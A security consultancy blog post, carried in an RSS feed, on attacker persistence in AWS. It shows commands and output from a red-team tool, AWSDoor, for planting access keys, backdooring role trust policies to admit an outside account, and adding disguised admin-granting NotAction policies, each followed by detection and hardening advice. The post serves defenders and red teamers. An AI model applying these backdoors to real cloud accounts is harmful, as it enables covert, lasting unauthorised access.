<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Yoann DEQUEKER, Auteur</title>
	<atom:link href="https://www.riskinsight-wavestone.com/en/author/yoann-dequeker/feed/" rel="self" type="application/rss+xml" />
	<link>https://www.riskinsight-wavestone.com/en/author/yoann-dequeker/</link>
	<description>The cybersecurity &#38; digital trust blog by Wavestone&#039;s consultants</description>
	<lastBuildDate>Thu, 11 Sep 2025 15:36:43 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	

<image>
	<url>https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/Blogs-2024_RI-39x39.png</url>
	<title>Yoann DEQUEKER, Auteur</title>
	<link>https://www.riskinsight-wavestone.com/en/author/yoann-dequeker/</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>AWSDoor: Persistence on AWS</title>
		<link>https://www.riskinsight-wavestone.com/en/2025/09/awsdoor-persistence-on-aws/</link>
					<comments>https://www.riskinsight-wavestone.com/en/2025/09/awsdoor-persistence-on-aws/#respond</comments>
		
		<dc:creator><![CDATA[Yoann DEQUEKER]]></dc:creator>
		<pubDate>Thu, 11 Sep 2025 15:25:09 +0000</pubDate>
				<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[Ethical Hacking & Incident Response]]></category>
		<category><![CDATA[AWS]]></category>
		<category><![CDATA[AWS Organisation]]></category>
		<category><![CDATA[AWS Organization]]></category>
		<category><![CDATA[AWS Persistence]]></category>
		<category><![CDATA[cloud]]></category>
		<category><![CDATA[CloudTrail]]></category>
		<category><![CDATA[CloudWatach]]></category>
		<category><![CDATA[Detection AWS Persistence]]></category>
		<category><![CDATA[Persistence]]></category>
		<category><![CDATA[Persistence based on IAM]]></category>
		<category><![CDATA[Persistence based on resources]]></category>
		<category><![CDATA[red team]]></category>
		<category><![CDATA[S3 Bucket]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=27372</guid>

					<description><![CDATA[<p>Over the past decade, cloud infrastructure such as Amazon Web Services (AWS), has been increasingly used to host critical infrastructure, manage sensitive data, and ensure global scalability. The shift to hybrid and cloud-native architecture has deeply transformed how infrastructure is...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2025/09/awsdoor-persistence-on-aws/">AWSDoor: Persistence on AWS</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p style="text-align: justify;">Over the past decade<strong>, cloud infrastructure such as Amazon Web Services (AWS), has been increasingly used</strong> to host critical infrastructure, manage sensitive data, and ensure global scalability. The shift to hybrid and cloud-native architecture has deeply transformed how infrastructure is deployed, secured, and monitored.</p>
<p style="text-align: justify;">However, as cloud adoption accelerates, its features and complexity <strong>introduced new challenges associated with securing these environments</strong>. Even if cloud providers offer several security features such as, discretionary access control and logging mechanisms, many organizations still <strong>fail to implement effective cloud security strategies</strong> due to the novelty of these environments. Among the most predominant misconfigurations, <strong>misconfigured IAM roles, overly permissive policies</strong>, exposed credentials, and lack of visibility into cloud-native activity create opportunities for attackers to exploit.</p>
<p style="text-align: justify;">When an attacker gains initial access to a cloud environment whether through opportunistic access or active exploitation,<strong> the most common action</strong> following the initial compromise and privilege escalation is <strong>to deploy access persistence on the environment. </strong></p>
<p style="text-align: justify;">Unlike traditional on-premises networks, cloud environments offer several services and <strong>configuration loopholes that can be abused to maintain long-term access</strong> even after remediation efforts have begun.</p>
<p style="text-align: justify;">In this article, we’ll explore the <strong>concept of access persistence in AWS</strong>, dissecting the techniques adversaries can use to hide themselves within a cloud environment.</p>
<p style="text-align: justify;">All along this article, <strong>the features of a dedicated tool</strong> designed to simplify and automate the deployment of <strong>persistence techniques in AWS environments</strong> will be presented</p>
<p>&nbsp;</p>
<h2>Persistence on AWS</h2>
<h3>IAM persistence</h3>
<p style="text-align: justify;">In the context of AWS, <em>Identity and Access Management </em><strong>(IAM) is the cornerstone of security</strong>. It governs who can do what in the environment by defining roles, users, groups, and their permissions (policies) that determine access to resources: if you have <strong>not been explicitly allowed</strong> to perform an action , <strong>you won’t be able to do anything.</strong></p>
<p style="text-align: justify;">At a high level, IAM operates by <strong>associating identities (such as IAM users or roles) with policies</strong> that are <em>JSON</em> documents describing the privileges of an IAM object on a resource.</p>
<p style="text-align: justify;">These policies are highly granular, <strong>supporting conditions like IP restrictions, MFA enforcement, or access during specific timeframes</strong>. IAM configurations are not just access controls, they are part of the infrastructure itself.</p>
<p style="text-align: justify;">IAM has <strong>become a powerful vector for access persistence</strong> and unlike on an on-premise environment, an attacker with sufficient privileges doesn’t need to drop binaries or execute malicious software to maintain access on the environment. Instead, they <strong>can modify IAM policies</strong>, create new users, attach rogue permissions to existing roles, or backdoor trusted identities.</p>
<p style="text-align: justify;">What makes <strong>IAM-based persistence especially dangerous is its stealth and durability</strong>. Indeed, changes to IAM often <strong>blend in with legitimate administrative activity</strong>, making them harder to detect. If the environment is not well maintained or not reviewed on a regular basis, finding the <strong>malicious policy is like finding a needle in a haystack</strong>.</p>
<p style="text-align: justify;">In this section, we’ll explore <strong>common and lesser-known techniques attackers</strong> can use to establish persistence by modifying IAM configurations. We&#8217;ll break down practical examples and highlight the indicators defenders should monitor to detect and respond to these often-overlooked tactics</p>
<p>&nbsp;</p>
<h4>Access key</h4>
<h5><span style="text-decoration: underline;">Attack</span></h5>
<p style="text-align: justify;">The <strong>101-persistence technique is adding an AccessKey </strong>to a user.</p>
<p style="text-align: justify;">On <em>AWS</em>, users can connect through the <em>CLI</em> using <em>AccessKey</em>. The easiest way to deploy persistence is by deploying an <em>AccessKey</em> on a privileged user.</p>
<p style="text-align: justify;">Once the <em>AccessKey</em> is created for the user, the attacker <strong>can access <em>AWS</em> through the <em>CLI</em> with the user’s privileges.</strong></p>
<p style="text-align: justify;">However, this technique has some limitations:</p>
<ul style="text-align: justify;">
<li>Only two <em>AccessKey</em> can be registered at once on a user.</li>
<li>Some <em>SCP</em>, a global policy applied by the organization on a sub-account can prevent users from using <em>AccessKey</em> or enforce <em>MFA</em></li>
</ul>
<p style="text-align: justify;">Regarding the limitation of number of AccessKey registered on a user, it is possible to:</p>
<ol>
<li style="text-align: justify;">List the AccessKey registered on a user</li>
<li style="text-align: justify;">Get the last time the <em>AccessKey</em> has been used: usually, if a user has more than one AccessKey, the second one has been lost, is not used anymore and can be deactivated and removed with an acceptable risk</li>
<li style="text-align: justify;">Delete the unused AccessKey:</li>
</ol>
<p>&nbsp;</p>
<figure id="attachment_27374" aria-describedby="caption-attachment-27374" style="width: 1017px" class="wp-caption aligncenter"><img fetchpriority="high" decoding="async" class=" wp-image-27374" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_33_01-FR-Persitence-on-AWS.docx-Word-1-437x174.png" alt="Information about the AccessKey has been used" width="1017" height="405" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_33_01-FR-Persitence-on-AWS.docx-Word-1-437x174.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_33_01-FR-Persitence-on-AWS.docx-Word-1-71x28.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_33_01-FR-Persitence-on-AWS.docx-Word-1-768x307.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_33_01-FR-Persitence-on-AWS.docx-Word-1-1536x613.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_33_01-FR-Persitence-on-AWS.docx-Word-1.png 1728w" sizes="(max-width: 1017px) 100vw, 1017px" /><figcaption id="caption-attachment-27374" class="wp-caption-text"><em>Information about the AccessKey has been used</em></figcaption></figure>
<p style="text-align: justify;">&nbsp;</p>
<p style="text-align: justify;">In order to list and delete an <em>AccessKey</em>, the following privileges are needed:</p>
<ul style="text-align: justify;">
<li><strong>iam:ListAccessKeys</strong>: retrieve the <em>AccessKeys</em> details</li>
<li><strong>iam:UpdateAccessKey</strong>: deactivate the key prior to its deletion</li>
<li><strong>iam:DeleteAccessKey</strong>: effectively delete the <em>AccessKey</em></li>
</ul>
<p style="text-align: justify;">For the <em>MFA</em> it is possible to register an <em>MFA</em> on a specific user without his consent allowing bypassing the restriction. However, if the <em>AccessKey</em> login is denied, this technique cannot be used.</p>
<p style="text-align: justify;">In order to add an <em>AccessKey</em> to a user, the following privilege is needed:</p>
<ul style="text-align: justify;">
<li>iam:CreateAccessKey</li>
</ul>
<p style="text-align: justify;">In order to add <em>MFA</em> to a user, the following privilege is needed:</p>
<ul>
<li style="text-align: justify;">aws:CreateVirtualMfaDevice</li>
<li style="text-align: justify;">aws:EnableMfaDevice</li>
</ul>
<p>&nbsp;</p>
<h5><span style="text-decoration: underline;">AWSDoor</span></h5>
<p>This technique is implemented in <em>AWSDoor</em>:</p>
<p>&nbsp;</p>
<pre>python .\main.py -m AccessKey -u adele.vance<br>[+] Access key created for user: adele.vance<br>[+] Access key ID: AKIAWMFUPIEBGOX73NJY<br>[+] Access key Secret: p4g[…]i7ei</pre>
<p>&nbsp;</p>
<p>The <strong>key is then added to the user</strong>:</p>
<p>&nbsp;</p>
<figure id="attachment_27378" aria-describedby="caption-attachment-27378" style="width: 956px" class="wp-caption aligncenter"><img decoding="async" class=" wp-image-27378" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_33_35-FR-Persitence-on-AWS.docx-Word-1-437x175.png" alt="AWS Key added through AWSDoor" width="956" height="383" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_33_35-FR-Persitence-on-AWS.docx-Word-1-437x175.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_33_35-FR-Persitence-on-AWS.docx-Word-1-71x28.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_33_35-FR-Persitence-on-AWS.docx-Word-1-768x307.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_33_35-FR-Persitence-on-AWS.docx-Word-1-1536x614.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_33_35-FR-Persitence-on-AWS.docx-Word-1-2048x819.png 2048w" sizes="(max-width: 956px) 100vw, 956px" /><figcaption id="caption-attachment-27378" class="wp-caption-text"><em>AWS Key added through AWSDoor</em></figcaption></figure>
<p>&nbsp;</p>
<h5><span style="text-decoration: underline;">Defense</span></h5>
<p style="text-align: justify;">While adding an <em>AccessKey</em> to a user is the <strong>easiest way to achieve persistence in an AWS environment</strong> it is also one of the <strong>least stealthy methods</strong>.</p>
<p style="text-align: justify;">Indeed, if the detection team detected the environment compromise, it can easily find the <em>AccessKey</em> deployed by <strong>the compromised user through the AWS CloudTrail logs</strong>:</p>
<p style="text-align: justify;">&nbsp;</p>
<figure id="attachment_27382" aria-describedby="caption-attachment-27382" style="width: 1024px" class="wp-caption aligncenter"><img decoding="async" class=" wp-image-27382" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_00-FR-Persitence-on-AWS.docx-Word-1-264x191.png" alt="AccesKey creation log" width="1024" height="741" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_00-FR-Persitence-on-AWS.docx-Word-1-264x191.png 264w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_00-FR-Persitence-on-AWS.docx-Word-1-54x39.png 54w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_00-FR-Persitence-on-AWS.docx-Word-1-768x555.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_00-FR-Persitence-on-AWS.docx-Word-1.png 1505w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption id="caption-attachment-27382" class="wp-caption-text"><em>AccesKey creation log</em></figcaption></figure>



<p> </p>
<p style="text-align: justify;">Moreover, some security solutions <strong>such as Cloud Security Posture Management system can detect this type of persistence</strong> if users usually do not use AccessKey.</p>
<p style="text-align: justify;">Finally, as a recommendation, it is usually better to <strong>avoid using IAM users with AccessKey and prefere using the AWS SSO</strong>: <a href="https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-sso.html"><span style="color: #000080;">https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-sso.html</span></a></p>
<p style="text-align: justify;">Once the SSO authentication is configured, the number of “human” users drops to 0 with only the service ones remaining. It is then easier to <strong>spot rogue AccessKey and closely monitor existing ones</strong> (<em>CICD</em> service users for example).</p>
<p> </p>
<h4>Trust policy</h4>
<p style="text-align: justify;">In <em>AWS</em>, roles are <em>IAM</em> objects used to delegate access across services, accounts, or users. Unlike IAM users, <strong>roles do not have long-term credentials</strong>. Instead, <strong>they are assumed (used) through the sts:AssumeRole API</strong>, which returns short-lived credentials granting the permissions defined in the role’s permission policies.</p>
<p style="text-align: justify;">To control who can assume a role, <strong>AWS</strong> <strong>uses a special document called a trust policy</strong>. A trust policy specifies the <strong>trusted principals</strong> identities (users, roles, accounts, services, or federated users) that are <strong>allowed to assume the role</strong>. If a principal is not listed in a role’s trust policy, they simply cannot assume it, no matter what permissions they hold elsewhere.</p>
<p style="text-align: justify;">Real life usecase for AssumeRole and Trust Policy</p>
<p style="text-align: justify;">Imagine a company with multiple <em>AWS</em> accounts:</p>
<ul style="text-align: justify;">
<li>one for development</li>
<li>one for staging</li>
<li>one for production</li>
</ul>
<p style="text-align: justify;">Rather than creating and managing separate IAM users in each environment, <strong>the organization defines a centralized group of administrators in a management account</strong>.</p>
<p> </p>
<figure id="attachment_27384" aria-describedby="caption-attachment-27384" style="width: 945px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27384" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_22-FR-Persitence-on-AWS.docx-Word-1-345x191.png" alt="Principe of AssumeRole through TrustPolicy" width="945" height="523" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_22-FR-Persitence-on-AWS.docx-Word-1-345x191.png 345w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_22-FR-Persitence-on-AWS.docx-Word-1-71x39.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_22-FR-Persitence-on-AWS.docx-Word-1-768x425.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_22-FR-Persitence-on-AWS.docx-Word-1-1536x849.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_22-FR-Persitence-on-AWS.docx-Word-1.png 1763w" sizes="auto, (max-width: 945px) 100vw, 945px" /><figcaption id="caption-attachment-27384" class="wp-caption-text"><em>Principe of AssumeRole through TrustPolicy</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">Each target account <strong>defines a role with elevated privileges</strong> (e.g., CrossAdminAccess), and configures a trust policy <strong>allowing only the management account&#8217;s IAM identities to assume it</strong>. The TrustPolicy, deployed on each target account will look like this:</p>
<p> </p>
<pre>{<br />  "Version": "2012-10-17",<br />  "Statement": [<br />    {<br />      "Effect": "Allow",<br />      "Principal": {<br />        "AWS": "arn:aws:iam::${MgmtAccountId}:user/ADM01"<br />      },<br />      "Action": "sts:AssumeRole",<br />    }<br />  ]<br />}<br /><br /></pre>
<p style="text-align: justify;">This approach provides <strong>clean separation between environments while maintaining centralized control</strong>. Admins &#8220;switch roles&#8221; from the management account into the other accounts only when needed without duplicating credentials.</p>
<p style="text-align: justify;">After the AssumeRole action, the administrator in the Management account will be granted temporary administration privileges on the targeted account.</p>
<p style="text-align: justify;"> </p>
<h5><span style="text-decoration: underline;">Attack</span></h5>
<p style="text-align: justify;">As it is shown in the previous <em>TrustPolicy</em>, the capacity to assume a specific role in an account <strong>is managed by the policy that explicitly allows a foreign account</strong> to assume a role in the target account.</p>
<p style="text-align: justify;">However, <strong>nothing enforces the TrustPolicy to allow only an account from known and trusted account</strong>. An attacker with the privileges to modify a <em>TrustPolicy</em> can backdoor the policy by allowing his own <em>AWS</em> account to assume the role in the compromised account:</p>
<p> </p>
<pre>{<br />  "Version": "2012-10-17",<br />  "Statement": [<br />    {<br />      "Effect": "Allow",<br />      "Principal": {<br />        "AWS": [<br />          "arn:aws:iam::${attackerAccountId}:role/fakeRole"<br />        ]<br />      },<br />      "Action": "sts:AssumeRole"<br />    }<br />  ]<br />}<br /><br /></pre>
<p>Once this policy is applied, it is <strong>possible to assume the backdoored role directly from the external</strong>.</p>
<p> </p>
<h5><span style="text-decoration: underline;">AWSDoor</span></h5>
<p>This technique is implemented in AWSDoor:</p>
<p> </p>
<pre>python .\main.py -m TrustPolicy -a FAKEROLE -r arn:aws:iam::584739118107:role/FakeRoleImitatingTargetRoleNames<br />[-] Initial trust policy:<br />{<br />  "Version": "2012-10-17",<br />  "Statement": [<br />    {<br />      "Sid": "Statement1",<br />      "Effect": "Allow",<br />      "Principal": {<br />        "AWS": "arn:aws:iam::438465151234:root"<br />      },<br />      "Action": "sts:AssumeRole"<br />    }<br />  ]<br />}<br />[+] New trust policy:<br />{<br />  "Version": "2012-10-17",<br />  "Statement": [<br />    {<br />      "Sid": "Statement1",<br />      "Effect": "Allow",<br />      "Principal": {<br />        "AWS": [<br />          "arn:aws:iam::438465151234:user/ADM01",<br />          "arn:aws:iam::584739118107:role/FakeRoleimitatingTargetRoleNames"<br />        ]<br />      },<br />      "Action": "sts:AssumeRole"<br />    }<br />  ]<br />}<br /><br />[+] Do you want to apply this change? (yes/no): yes<br />[+] Trust policy for FAKEROLE updated</pre>
<p> </p>
<figure id="attachment_27386" aria-describedby="caption-attachment-27386" style="width: 991px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27386" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_45-FR-Persitence-on-AWS.docx-Word-1-437x179.png" alt="Trust policy modified using AWSDoor" width="991" height="406" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_45-FR-Persitence-on-AWS.docx-Word-1-437x179.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_45-FR-Persitence-on-AWS.docx-Word-1-71x29.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_45-FR-Persitence-on-AWS.docx-Word-1-768x314.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_45-FR-Persitence-on-AWS.docx-Word-1-1536x629.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_45-FR-Persitence-on-AWS.docx-Word-1.png 1774w" sizes="auto, (max-width: 991px) 100vw, 991px" /><figcaption id="caption-attachment-27386" class="wp-caption-text"><em>Trust policy modified using AWSDoor</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">The tool allows you to:</p>
<ul>
<li style="text-align: justify;"><strong>target a specific statement with the -s argument</strong>: by default, the tool will inject the trust policy in the first Allow statement it finds. If there are multiple statements in the policy, you can use the -s parameter to target a specific statement</li>
<li style="text-align: justify;"><strong>create a new statement with the -c argument</strong>: with this option you can force the creation of a new statement with a specific name (MALICIOUS in the example below)</li>
</ul>
<p> </p>
<figure id="attachment_27388" aria-describedby="caption-attachment-27388" style="width: 1280px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27388" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_01-FR-Persitence-on-AWS.docx-Word-1-286x191.png" alt="Creation of a new statement" width="1280" height="855" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_01-FR-Persitence-on-AWS.docx-Word-1-286x191.png 286w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_01-FR-Persitence-on-AWS.docx-Word-1-58x39.png 58w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_01-FR-Persitence-on-AWS.docx-Word-1-768x513.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_01-FR-Persitence-on-AWS.docx-Word-1.png 1478w" sizes="auto, (max-width: 1280px) 100vw, 1280px" /><figcaption id="caption-attachment-27388" class="wp-caption-text"><em>Creation of a new statement</em></figcaption></figure>
<p> </p>
<h5><span style="text-decoration: underline;">Defense</span></h5>
<p style="text-align: justify;">This type of persistence <strong>is a powerful persistence mechanism in AWS environments</strong>. This technique <strong>does not require storing credentials inside the victim environment</strong>, making it very stealthy and durable, especially because the detection team usually focuses only on access keys or local role usage.</p>
<p style="text-align: justify;">Detection of this persistence <strong>method requires close monitoring of trust policy changes</strong>. AWS CloudTrail records events like UpdateAssumeRolePolicy, which can reveal when a trust policy is modified.</p>
<p> </p>
<figure id="attachment_27390" aria-describedby="caption-attachment-27390" style="width: 931px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27390" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_17-FR-Persitence-on-AWS.docx-Word-1-437x176.png" alt="Event UpdateAssumeRolePolicy" width="931" height="375" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_17-FR-Persitence-on-AWS.docx-Word-1-437x176.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_17-FR-Persitence-on-AWS.docx-Word-1-71x29.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_17-FR-Persitence-on-AWS.docx-Word-1-768x310.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_17-FR-Persitence-on-AWS.docx-Word-1-1536x620.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_17-FR-Persitence-on-AWS.docx-Word-1.png 1944w" sizes="auto, (max-width: 931px) 100vw, 931px" /><figcaption id="caption-attachment-27390" class="wp-caption-text"><em>Event UpdateAssumeRolePolicy</em></figcaption></figure>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">Likewise, <strong>AWS Config can be used with custom rules to detect TrustPolicy targeting</strong> unmanaged account.</p>
<p> </p>
<h4>NotAllow</h4>
<h5><span style="text-decoration: underline;">Attack</span></h5>
<p style="text-align: justify;">An IAM role policy is a JSON document <strong>attached to an IAM role that defines what actions the role is allowed</strong> (or denied) to perform, on which resources, and under which conditions.</p>
<p style="text-align: justify;">For example, the following policy allows the associated role to list all S3 buckets in the account.</p>
<p> </p>
<pre>{<br />  "Version": "2012-10-17",<br />  "Statement": [<br />    {<br />      "Effect": "Allow",<br />      "Action": "s3:ListBucket",<br />      "Resource": "*"<br />    }<br />  ]<br />}<br /><br /></pre>
<p style="text-align: justify;">In the policy syntax, <strong>it is possible to use negation operator</strong>: instead of defining a whitelist of allowed action, it is possible to define a blacklist of actions.</p>
<p style="text-align: justify;">Indeed, <strong>by using the NotAction operator, AWS will apply the statement effect to every action</strong> except those explicitly listed.</p>
<p style="text-align: justify;">For example, the following policy:</p>
<p> </p>
<pre>{<br />  "Version": "2012-10-17",<br />  "Statement": [<br />    {<br />      "Effect": "Allow",<br />      "NotAction": "s3:ListBucket",<br />      "NotResource": "arn:aws:s3:::cloudtrails-logs-01032004"<br />    }<br />  ]<br />}<br /><br /></pre>
<p style="text-align: justify;">This policy will allow the role to <strong>perform any action except the ListBucket action on the cloudtrails-logs-01032004 S3 bucket</strong>: it basically grants the associated role the maximum privileges on the account.</p>
<p style="text-align: justify;">For a defender, at first glance, <strong>this policy looks like an inoffensive policy targeting a S3 resource</strong>, but it in fact grants AdministratorAccess privileges to the role.</p>
<p style="text-align: justify;">The attacker <strong>can then backdoor the specific role using the TrustPolicy</strong> persistence as explained before to get a full remote access to the AWS account.</p>
<p> </p>
<h5><span style="text-decoration: underline;">AWSDoor</span></h5>
<p>This technique is implemented in AWSDoor:</p>
<p> </p>
<pre>python .\main.py -m NotAction -r FAKEROLE -p ROGUEPOLICY<br />[+] The following policy will be added :<br />{<br />  "Version": "2012-10-17",<br />  "Statement": [<br />    {<br />      "Effect": "Allow",<br />      "NotAction": [<br />        "s3:ListBucket"<br />      ],<br />      "NotResource": "arn:aws:s3:::cloudtrails-logs-01032004"<br />    }<br />  ]<br />}<br /><br />[+] Do you want to apply this change? (yes/no): yes<br />[+] Created policy ARN: arn:aws:iam::438465151234:policy/ROGUEPOLICY<br />[+] Attaching the policy to FAKEROLE<br />[+] Successfully created policy ROGUEPOLICY and attached to FAKEROLE</pre>
<p> </p>
<p style="text-align: justify;">For the policy, there are two possibilities:</p>
<ul>
<li style="text-align: justify;"><strong>Attached policy</strong>: this is the most common way to add a policy to a role. First a policy is created with the NotAction statement, then the policy is attached to the role. The policy will then appear in the IAM/Policies panel:</li>
</ul>
<p> </p>
<figure id="attachment_27393" aria-describedby="caption-attachment-27393" style="width: 724px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27393" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_37-FR-Persitence-on-AWS.docx-Word-1-437x131.png" alt="Role policy attached" width="724" height="217" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_37-FR-Persitence-on-AWS.docx-Word-1-437x131.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_37-FR-Persitence-on-AWS.docx-Word-1-71x21.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_37-FR-Persitence-on-AWS.docx-Word-1-768x230.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_37-FR-Persitence-on-AWS.docx-Word-1.png 1374w" sizes="auto, (max-width: 724px) 100vw, 724px" /><figcaption id="caption-attachment-27393" class="wp-caption-text"><em>Role policy attached</em></figcaption></figure>
<p> </p>
<ul>
<li style="text-align: justify;"><strong>Inline policy (-i)</strong>: this is the quickiest way to add a policy to a role. The policy is directly created at the role level (hence the inline). While it is easier to create such policy it is usually seen as bad configuration practice because the policy will not appear in the IAM/policies panel, making it harder to track it back during a configuration review.</li>
</ul>
<p style="text-align: justify;">Therefore, specific compliance tools can flag the inline policy. Not because it is malicious but because it is not compliant with security best practices.</p>
<p> </p>
<figure id="attachment_27395" aria-describedby="caption-attachment-27395" style="width: 987px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27395" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_51-FR-Persitence-on-AWS.docx-Word-1-437x186.png" alt="Inline policy created" width="987" height="420" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_51-FR-Persitence-on-AWS.docx-Word-1-437x186.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_51-FR-Persitence-on-AWS.docx-Word-1-71x30.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_51-FR-Persitence-on-AWS.docx-Word-1-768x326.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_51-FR-Persitence-on-AWS.docx-Word-1-1536x653.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_51-FR-Persitence-on-AWS.docx-Word-1.png 1562w" sizes="auto, (max-width: 987px) 100vw, 987px" /><figcaption id="caption-attachment-27395" class="wp-caption-text"><em>Inline policy created</em></figcaption></figure>
<p> </p>
<h5><span style="text-decoration: underline;">Defense</span></h5>
<p style="text-align: justify;">From a defender’s perspective, <strong>the use of NotAction along with Allow effect in IAM policies should immediately raise suspicion</strong>, especially when paired with NotResource fields.</p>
<p style="text-align: justify;">The following detection and mitigation strategies can help security teams defend against this type of privilege escalation:</p>
<ul>
<li style="text-align: justify;"><strong>Monitor IAM Policy Changes</strong> via CloudTrail: any creation or modification of IAM policies can be tracked through CloudTrail with the following event: CreatePolicy, PutRolePolicy, AttachRolePolicy, CreatePolicyVersion and SetDefaultPolicyVersion</li>
<li style="text-align: justify;"><strong>Investigation on policy documents containing the NotAction</strong> This can be automated by creating associated scenario on CloudWatch (NotAction in requestParameters.policyDocument)</li>
<li style="text-align: justify;"><strong>Enforce compliance check with AWS Config</strong>: a custom config rule can be defined to flag any policy including NotAction or NotRessource with an Allow effect</li>
</ul>
<p> </p>
<h3>Resource based persistence</h3>
<p style="text-align: justify;">In AWS, <strong>it&#8217;s common to attach IAM roles to resources like</strong> <strong>Lambda functions, EC2 instances</strong>, or ECS tasks. This lets those services access other AWS resources securely, based on the permissions defined in the role. For example, an EC2 instance might use a role to read secrets from Secrets Manager or push logs to CloudWatch.</p>
<p style="text-align: justify;">From an attacker&#8217;s point of view, <strong>this setup can be useful for persistence</strong>. If they manage to compromise a resource that has a highly privileged role attached, such as one with AdministratorAccess, they can use the role to interact with AWS just like the resource would.</p>
